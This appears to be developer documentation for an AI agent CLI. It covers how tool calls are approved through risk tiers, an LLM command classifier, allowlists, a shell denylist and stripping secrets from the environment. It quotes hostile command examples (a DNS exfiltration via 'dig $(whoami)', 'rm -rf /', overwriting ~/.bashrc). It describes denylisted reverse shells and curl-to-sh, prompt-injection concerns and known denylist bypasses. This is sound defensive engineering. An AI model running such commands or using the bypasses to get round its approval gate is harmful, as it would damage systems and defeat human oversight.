docs blog library
github

Tools & approval

HTTP requests and page fetches use global network.httpApproval: automatic by default for all methods and destinations, or one-call approval outside configured URL grants. This policy is independent of risk tiers and previous untrusted content. See HTTP approvals.

This page explains how a tool call becomes an action, and what stands between the two.

Source: execution/tool-executor.ts · tools/tool-registry.ts · tools/register-tools.ts · tools/register-mcp-tools.ts · types/tools.ts


The lifecycle of one tool call

Operator shell escapes

Interactive terminal users can explicitly run a command with ! <command>; isShellEscape requires the space, so !!! urgent is prose. This path runs before the model turn and feeds the bounded result back as tagged command context. It shares the shell executor’s working-directory resolution, sanitized environment, timeout, interruption handling, and stdout/stderr caps. Because the operator authored the command directly, the ! path is an explicit operator action rather than a model-issued approval request, and the agent denylist does not apply to it: that list guards what a model may run. In the terminal chat a blocked agent command tells the model to ask the person to run it with !; on surfaces without ! (bots, jazz run, workflows) it tells the model to hand the person the exact command. Shell output is untrusted data and must be treated as context, not as instructions. This syntax is available only in the interactive terminal; headless and remote surfaces retain their own authorization contracts.

flowchart TD
    IN(["Model emits a tool call"]) --> PARSE{"Arguments<br/>valid JSON?"}
    PARSE -->|no| ERR["Return an error result,<br/>the agent can retry"]
    PARSE -->|yes| SET{"Name in this run's<br/>effective tool set?"}
    SET -->|no| ERR
    SET -->|yes| LOOKUP["Look up in the registry:<br/>schema · risk level · timeout"]

    LOOKUP --> PLAIN{"Plain tool above<br/>read-only?"}
    PLAIN -->|"yes: executor raises<br/>the request itself"| POLICY
    PLAIN -->|no| RUN["<b>Invoke the tool</b><br/>timeout: per-tool, else 3 min<br/>(longRunning tools: no timeout)"]

    RUN --> GATED{"Result is an<br/>approval request?"}
    GATED -->|no| RESULT
    GATED -->|"yes, from another tool's<br/>execute half"| ERR
    GATED -->|"yes, for its own<br/>execute half"| POLICY{"Auto-approved?"}

    POLICY -->|"policy tier covers<br/>this risk level"| EXEC
    POLICY -->|"per-tool allowlist"| EXEC
    POLICY -->|"per-command allowlist"| EXEC
    POLICY -->|"no, ask"| PROMPT["<b>Approval prompt</b><br/>args + preview diff"]

    PROMPT -->|approve| EXEC
    PROMPT -->|deny| DENIED["Return a refusal,<br/>the agent reasons around it"]

    EXEC["<b>Execute the real tool</b><br/>the second half of the pair"]
    EXEC --> RESULT["Format for context<br/>+ record metrics"]
    RESULT --> OUT(["Result → next iteration"])

    classDef gate fill:#f9a03f,stroke:#b3541e,color:#1a1a1a
    classDef act fill:#4f9d9d,stroke:#2f6d6d,color:#ffffff
    class SET,PLAIN,POLICY,PROMPT gate
    class RUN,EXEC act

Three rules shape that gate:

  • Other tools above read-only are gated. An approval tool raises its request by returning one. A plain tool (manage_memory, create_pdf, a custom command tool) never gets the chance to act first: plainToolGateRisk reads its level (or resolveRiskLevel(args) when the level depends on the call) and the executor raises the request on its behalf. Approving it runs the tool itself.
  • No policy and false clear nothing. shouldAutoApprove returns true only under read-only, low-risk and high-risk/true. The command classifier therefore runs only under read-only and low-risk, where its verdict can change the outcome.
  • A request is honored only from the tool registered to make it. isRequestBoundToTool requires the calling tool’s approvalExecuteToolName to equal the request’s executeToolName. Anything else shaped like a request (an MCP server’s output, a fetched JSON body) becomes an error result and nothing runs. MCP results are nested under content or structuredContent for the same reason.

Which tools a run can reach

The tier gate above decides whether a call is approved. A separate, earlier question is whether the run may make it at all.

A run resolves its toolset once at the start: the agent’s own tools, plus the built-in categories its persona admits, minus the persona and agent deny lists, minus the carve-outs for a run that cannot persist (manage_memory) or cannot ask a human anything (ask_user_question, ask_file_picker, ask_user_secret), narrowed by any toolAllowlist it inherited. That list is then expanded with the names its tools also answer to: advertised aliases (glob for find) and the hidden execute half of each gated pair (execute_execute_command), and the denials are re-applied over what expansion added, so a deny entry cannot be undone by an alias one step below it. The result is the run’s effective tool set.

That one set does three jobs:

  • Advertisement. eager-tier members are sent as schemas with every request; deferred-tier ones appear as a name/summary index and their schemas arrive via search_tools. Hidden execute halves are never advertised at all.
  • Execution. The executor tests every call against the set before handing the name to the registry, and returns a plain tool-error result: the same treatment as unparseable arguments: for anything outside it.
  • Inheritance. spawn_subagent hands it down as the child’s toolAllowlist, so a child can never hold a tool its parent lacks. childRunAuthority builds that allowlist (empty when the parent’s set is unknown) together with the parent’s live policy getter and command and tool allowlists, which is why spawn_subagent is read-only: spawning grants nothing new.

The second is not redundant. The registry resolves a name against every tool registered in the process, so a narrowed advertisement only shapes what a model is likely to ask for. Nothing stops a model from naming a tool it was never offered, and the AI SDK does not drop such a call: it forwards it flagged invalid and lets the caller decide. Constrained decoding at a hosted provider makes it unlikely; a local model, or any path where tool calls are parsed out of text, makes it ordinary.

One member of the set is deliberately unreachable from a model-issued call: the hidden execute half of a gated pair. It has to be in the set for the approval branch to run it, and it is refused when the model writes the name itself: otherwise guessing execute_write_file would skip the approval the pair exists to collect. Every other member runs through whatever gate its risk level demands, and a name outside the set does not run at all.

This is what makes toolAllowlist an authorization boundary rather than a hint, and it is what /a2a peer serving relies on: a peer-served run auto-approves everything, on the grounds that the tier decided reachability before the run started.


Two-phase execution

A gated tool doesn’t act when the model calls it. It returns a description of what it would do:

sequenceDiagram
    autonumber
    participant M as Model
    participant P as write_file<br/>(propose)
    participant G as Gate<br/>policy or human
    participant E as write_file_execute

    M->>P: write_file({path, content})
    P->>P: resolve the path, read the current file,<br/>compute a diff: no mutation
    P-->>G: ApprovalRequired{message, previewDiff,<br/>executeToolName, executeArgs}
    alt policy covers this risk tier
        G->>E: execute immediately
    else needs a human
        G->>G: show args + diff, wait
        G->>E: execute on approval
    end
    E-->>M: result

Why a pair rather than a dangerous: true flag. You cannot show a useful preview without doing the work: computing a diff means reading the target and resolving the path. Two phases let the propose step do real work and still not mutate anything, which is what makes “here is the exact diff, approve?” possible.

What it buys. Interactive and unattended runs go down the same path. The only difference is who answers the gate. There is no separate headless mode to drift out of sync with the interactive one.

Picker-style approvals

Most gates are yes/no. Some decisions are “which one”. analyze_media asks which model should inspect a file, while generate_media asks which should create an artifact. A proposal may carry options alongside its message; surfaces then render a picker (same card, rows instead of Yes/No), and the chosen row’s id returns on the outcome as selectedOptionId, merged into the execution tool’s args under _selectedOptionId: a key the model never writes and cannot spoof.

Two properties are load-bearing:

  • A request with options is never auto-approved, under any policy including yolo. There is nothing to approve until somebody picked a row. The pre-bound path (config.companions) skips approval inside the tool itself instead: binding is the consent. Bindings are keyed by companion role. "<analyze|generate>:<image|audio|video>" , because reading a modality and producing it are different models: analyze:image and generate:image bind independently on the same agent.
  • Unattended runs fail loudly when nothing is bound. Nobody to ask plus no standing consent means a clear refusal naming what would fix it (“bind an analyze:image companion”), not a silent fallback to whichever model happens to be first.

Risk tiers

Every tool declares a level. One dial decides what runs without asking.

flowchart LR
    subgraph tiers["Tool risk levels"]
        direction TB
        RO["<b>read-only</b><br/>read_file · grep · find · ls<br/>web_search · web_fetch<br/>manage_todos · spawn_subagent"]
        LR["<b>low-risk</b><br/>manage_memory<br/>register_trigger"]
        HR["<b>high-risk</b><br/>write_file · edit_file · rm<br/>mv · cp · mkdir"]
        UN["<b>unknown</b><br/>execute_command"]
    end

    subgraph policies["--approval-policy"]
        direction TB
        P0["<i>unset / false</i><br/>read-only + low-risk"]
        P1["read-only"]
        P2["low-risk"]
        P3["high-risk"]
    end

    P0 -.->|approves| RO
    P0 -.->|approves| LR
    P1 -.->|approves| RO
    P2 -.->|approves| RO
    P2 -.->|approves| LR
    P3 -.->|approves| RO
    P3 -.->|approves| LR
    P3 -.->|approves| HR
    P3 -.->|approves| UN
    UN -.->|classified as| RO
    UN -.->|classified as| LR
    UN -.->|classified as| HR

    classDef safe fill:#4f9d9d,stroke:#2f6d6d,color:#ffffff
    classDef warn fill:#f9a03f,stroke:#b3541e,color:#1a1a1a
    classDef bad fill:#c1443c,stroke:#7d2b26,color:#ffffff
    classDef muted fill:#6b7280,stroke:#374151,color:#ffffff
    class RO safe
    class LR warn
    class HR bad
    class UN muted

The policy is read through a getter, not captured once, so a mid-run change takes effect immediately: that’s how Shift+Tab mode switching works in the TUI, and why a tool queued behind another can pick up a policy that changed while it waited.

Command classifier

execute_command is declared unknown because the command decides the blast radius. Jazz asks the cheap harness model (llm.summarizerModel, else the agent’s own) whether this particular command is read-only, low-risk, or high-risk, and the tier then applies to the verdict as it would to any declared level. So --approval-policy read-only runs git log unattended without also unlocking rm, and interactive safe mode (the low-risk tier, SAFE_MODE_POLICY in chat/approval-mode.ts) skips the prompt for a listing but still asks about a push.

The classifier is skipped when it cannot change anything: with no policy or false nothing is approved, yolo approves either way, the command is already allowlisted, or the level was never unknown. Under read-only and low-risk it runs, including on surfaces that cannot prompt: an unclassified command stays unknown, which approves nowhere, so skipping it there would park a run on git status.

While it runs, the live zone shows classifying on that command (the round-trip can take a few seconds). The verdict then lands on the settled receipt. read-only, low-risk, or high-risk, so an auto-approved inspect-only command is visibly why it ran without a prompt. The raw classifier prompt is not shown: it includes recent user requests, and the token is the decision.

Fail closed: timeouts, provider errors, empty replies, and anything other than the exact token read-only or low-risk stay high-risk. A clearly mutating command stays high-risk regardless of context.

The deterministic floor. findDeterministicHighRisk runs first, in resolveCommandRisk, before a policy plugin or the model is asked; the executor’s fallback goes through resolveCommandRisk too. It lexes the command and returns high-risk without a model call for an unterminated quote or expansion, command or process substitution, a redirection other than discarding to /dev/null or duplicating a descriptor, or a command word built from an expansion. A small classifier can rate these read-only (dig $(whoami).example.com exfiltrates through DNS), so no verdict is allowed to lower them. The floor is syntax only and holds no program names; what a program does is the classifier’s and the policy plugin’s judgment.

What the classifier is allowed to read. The command, always. Plus the last five user requests (hard-capped at 800 characters) when the session is interactive, so an ambiguous command can be lowered only when the person at the keyboard asked for that milder action. Two exclusions are deliberate:

  • Assistant turns are never included. The agent proposing the command also writes those turns, so quoting them back would let a model that has been talked into something by a web page or a tool result supply its own corroborating evidence.
  • No conversation at all on a bridge or a headless run. There the “user” turns come from whoever is messaging the bot, and corroboration from a stranger is not corroboration.
  • No conversation at all inside a sub-agent. A sub-agent’s “user” turn is the task its parent model wrote, so a parent that was talked into something could write the evidence for its child’s command.

Both blocks are wrapped as tagged data with < escaped, so the model is told not to follow instructions inside them and cannot close the tag early. A wrong milder verdict is still possible; the shell denylist is the backstop for known-destructive patterns, not for git push.

Each classifier call is recorded as llm_usage with purpose: "classifier" (tokens in/out and wall-clock latency) and rolled into classifierUsage on agent_run_completed. Those numbers stay beside the agent-loop usage (they are not mixed into it) so a run shows how much was approval gating versus the conversation. See Observability.

Implementation: command-risk.ts.

Two sharper controls

Tiers are coarse on purpose. When you need precision:

ControlScopeBehavior
Per-tool allowlistthis session“Always approve this tool”: chosen from an approval prompt
Per-command allowlistpersisted“Always approve this command”: execute_command only

The command allowlist does not prefix-match raw strings. extractCommandApprovalKey lexes the command with parseShellCommandLine (shell-syntax.ts), which reads quotes, escapes, control operators, redirections, assignments and expansions the way bash does. The key is the binary plus the next word when that word is not a flag. isCommandCoveredByAllowlist matches that key exactly or on a word boundary. A command with any shell hazard (control operator, substitution, ${...}, redirection, comment, grouping, leading assignment, unterminated quote) has no key and matches nothing:

approved: "git status"
  ✅ git status
  ✅ git status --short
  ❌ git statusfoo
  ❌ git status && rm -rf /
  ❌ git status $(rm x)
  ❌ git status > ~/.bashrc
  ❌ git -C status rm -rf .     ← keys to "git": an option value is not a subcommand
  ❌ PAGER=x git status

The strongest control isn’t a policy at all: an agent whose toolset omits execute_command cannot run shell commands regardless of tier. Not merely because the tool is never offered: the executor refuses a call to it outright, so a model that names it anyway gets a tool error rather than a shell. Trim the toolset in the agent config when the blast radius matters. See Chat platforms, and Which tools a run can reach for how that set is built.


Concurrency and timeouts

flowchart TB
    BATCH(["Model requested 6 tool calls"]) --> META["Pre-fetch metadata for<br/>unique tool names<br/>(parallel, ≤10)"]
    META --> FORK["Fork all 6 as fibers<br/>≤10 running concurrently"]
    FORK --> JOIN{"Race"}
    JOIN -->|"all complete"| RESULTS(["6 results"])
    JOIN -->|"stopped<br/>(Esc, deadline, --timeout, SIGTERM)"| KILL["Interrupt every fiber<br/>SIGTERM, then SIGKILL, commands<br/>report what each call did"]

    classDef act fill:#4f9d9d,stroke:#2f6d6d,color:#ffffff
    class FORK act
SettingValueNotes
MAX_CONCURRENT_TOOLS10Prevents resource exhaustion when a model asks for 40 file reads
TOOL_TIMEOUT_MS3 minDefault; a tool can declare its own
longRunning toolsno timeoute.g. ask_user_question: waiting for a human isn’t a hang

A timeout is not a crash. It comes back as a failed result with the message, the agent sees it, and the run continues. A tool that can’t finish shouldn’t take the whole run down.

Approval prompts are queued rather than raced, and re-checked at dequeue time: a parallel tool’s “always approve” may have changed the answer while this one waited.

Stopping a batch

A batch can be stopped part-way: double-Esc, the run’s maxDurationMs deadline, --timeout, or SIGTERM. Each is a clean stop, not a crash:

  • Every tool fiber is interrupted, and the interrupt waits for it. Tool calls are daemon fibers (so Ctrl+B can detach them), and the batch interrupts each one it forked when it is itself interrupted.
  • Commands get to clean up. execute_command and custom command tools run in their own process group. Stopping one sends SIGTERM to the group, then SIGKILL after PROCESS_TERMINATION_GRACE_MS (3s) if it is still running, so a script that traps SIGTERM can finish writing and remove its temp files. The same applies to a tool’s own timeout and to the helper processes of grep, find and the git tools. Only the force path, a second Ctrl+C or SIGTERM, SIGKILLs every command group at once.
  • Files are never left half-written. write_file and edit_file write a sibling temp file and rename it over the target, keeping its permissions and following symlinks; cp and mv stage the result beside the destination and swap it in, replacing a directory whole. The swap is uninterruptible, so a stop lands before it (nothing changed) or after it (change complete). mv across filesystems copies, swaps, and removes the source in that same step.
  • The report says exactly what ran. A ToolBatchLedger records when each call’s side effect begins (after approval, for a tool that asks first) and when it returns. Every call of the stopped batch gets a tool result in the transcript: a completed call keeps its real result, an interrupted one says it may have made part of its changes, and one that never started says it changed nothing. The response carries stoppedToolCalls (completed, interrupted, not-started per call), jazz run --json includes it in both the success and the failure envelope, and onToolBatchStopped tells a caller whose run was interrupted from outside.

Two shell-specific defenses

execute_command gets two protections beyond the approval gate, both in shell.ts.

A built-in denylist

Commands are matched against a denylist before approval is asked. A rule names one specific action whose damage reaches past the workspace or cannot be undone: privilege escalation (sudo, su), wiping disks or the home directory (mkfs, rm -rf ~), running a downloaded script unseen (curl … | sh), power changes (shutdown), reverse shells, persistence (authorized_keys, crontab), sending credentials to another host, and an agent granting itself authority (jazz goal accept). Deleting from the shell (rm, unlink, find -delete) is blocked too, because the rm tool shows what will be deleted at approval and refuses / and ~. A blocked command returns the specific reason, so the agent learns why rather than retrying blindly.

How code is invoked is never a rule. sh -c, python -c, and eval run, because every command already runs as sh -c <command>: blocking a wrapper adds no protection and pushes the same code into a temp file the denylist cannot read. Reading files is not a rule either; tool output is redacted by value. Rules match a program where the shell runs it (after a control operator, a wrapper such as env or xargs, or inside sh -c '…'), not where its name appears in an argument, so git commit -m "fix mount bug" and rg 'shutdown|halt' pass.

It carries one carve-out worth knowing: tmp="$(mktemp -d)"; …; rm -rf "$tmp" passes, because temp-dir cleanup is routine and blocking it trains users to disable the denylist. rm against a real path, a mix of temp and real paths, or a temp path with .. in it still blocks.

This is explicitly not a sandbox. From the implementation:

Variable expansion, quote splicing, and encoded payloads route around any string matcher, and the approval gate is what governs arbitrary code.

Its purpose is catching an accident from a confused model. Approval is the real control, and container isolation is the real boundary. The known bypasses are documented as a regression suite in shell.security.test.ts , worth reading before you rely on the denylist for anything.

Environment sanitization

Shell commands do not inherit your full environment. Variables whose names have a secret word in them (SECRET, TOKEN, PASSWORD, CREDENTIALS, APIKEY, AUTH, PASS, COOKIE, or KEY after another word, matched as whole words by isWithheldEnvVarName in packages/core/src/secrets/registry.ts), every variable Jazz reads a secret from (JAZZ_PEER_TOKEN_*, JAZZ_WEBHOOK_*, JAZZ_NOTIFY_* target secrets), and everything prefixed SSH_, are stripped before the command runs, so a command that echoes its environment cannot exfiltrate your provider keys.

When a command genuinely needs one, an agent’s envAllowlist exempts specific names. The allowlist can only un-hide a variable that already exists in the parent environment; it never invents a value, and the SSH_ block applies regardless. Implementation: env.ts.


The tool registry

Tools are registered by category at startup, except MCP:

CategoryToolsExamples
File Management15read_file write_file edit_file find grep read_pdf pdf_page_count mkdir rm mv cp
Shell Commands1execute_command (unknown; classified before the approval decision)
Web Search / Web Fetch2web_search web_fetch
HTTP1http_request
Todo2manage_todos list_todos
Memory2view_memory manage_memory
Reminders3add_reminder list_reminders cancel_reminder
Context3context_info get_time retrieve_tool_result
Sub Agents8spawn_subagent map_subagents list_subagents wait_subagents steer_subagent post_to_blackboard read_blackboard summarize_context
User Interaction3ask_user_question ask_file_picker ask_user_secret
Compositions1create_composition
Total agent-facing42plus 7 hidden execute_* counterparts
Skills3find_skills load_skill load_skill_section: per agent
MCPdynamicmcp_<server>_<tool>: per agent, connected lazily

MCP is lazy by design. Servers are child processes; connecting six of them at boot makes jazz slow to start and hangs the CLI when one misbehaves. Instead, an agent’s MCP tools are registered from its tool list and the server connects on first invocation. Connected servers are tracked so they can be cleaned up when the conversation ends.

Captured process output is bounded. execute_command and find/grep each keep at most 256 KB of stdout and 256 KB of stderr, collected as bytes so a flood cannot grow until the timeout. Truncated execute_command streams include a marker. The grep and find parsers keep stdout clean (so a partial last line is not treated as a path or match) and set truncated on the tool result: without that flag a cut-short enumeration is indistinguishable from an exhaustive one. Custom command tools use the same collector with a 16 KB cap. They are typically small, trusted argv programs, not a general shell.

MCP argument schemas are advisory, not a gate. convertMCPSchemaToZod is lossy. $ref is unresolved and an untyped property carries no constraint, so MCP tools forward the model’s arguments untouched and let the server’s own schema reject bad calls. Validating locally against the converted schema would reject or silently empty calls the server accepts. Builtin tools, whose schemas are authored alongside their handlers, are validated normally.

Current tool list: tool inventory.


  • Agent loop: where the tool phase sits
  • Headless: setting the policy for unattended runs
  • Security: the threat model and hardening guidance
  • Architecture: package boundaries and extension points

machine-readable: /docs/maintainers/tool-lifecycle.md · /llms.txt · /llms-full.txt